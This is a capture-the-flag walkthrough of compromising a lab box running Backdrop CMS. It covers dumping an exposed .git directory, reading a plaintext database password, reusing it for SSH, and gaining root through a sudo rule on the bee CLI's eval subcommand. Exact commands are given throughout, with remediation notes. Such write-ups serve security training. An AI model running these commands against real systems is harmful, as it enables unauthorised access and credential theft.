Dog
Summary
I scanned the internet-facing Apache server and identified a Backdrop CMS site. The web root had its .git directory left publicly accessible, allowing a full download of the application source tree.
That source tree contained the CMS configuration file committed in plain text with a MySQL password. That same password had been reused as the SSH login for the johncusack OS account, granting an interactive shell and the first flag with no exploitation required.
On the system, a sudo rule permitted johncusack to run the Backdrop CMS command-line tool bee — which includes an eval subcommand that executes arbitrary PHP — as root. One sudo command calling PHP's system() function read the root flag and completed full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 22,80 --open $TARGETcurl -si http://$TARGET/ | grep -i 'x-generator\|server'Exact commands 3
curl -s http://$TARGET/.git/HEADgit-dumper http://$TARGET/.git ./dog-srcgit -C ./dog-src log --onelineFixBlock web server access to the .git directoryHigh
Exact commands 2
cat ./dog-src/sites/default/settings.phpgrep -r 'mysql\|password\|BackDrop' ./dog-src/sites/default/FixRemove plaintext credentials from version-controlled configuration filesCritical
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no johncusack@$TARGETid && cat /home/johncusack/user.txtFixUse unique passwords for every service and OS accountCritical
Exact commands 3
sudo -lcd /var/www/html && printf '%s\n' '[REDACTED: recovered credential]' | sudo -S /usr/local/bin/bee eval 'system("id");'cd /var/www/html && printf '%s\n' '[REDACTED: recovered credential]' | sudo -S /usr/local/bin/bee eval 'system("cat /root/root.txt");'FixRemove sudo access to the bee CLI eval subcommandCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |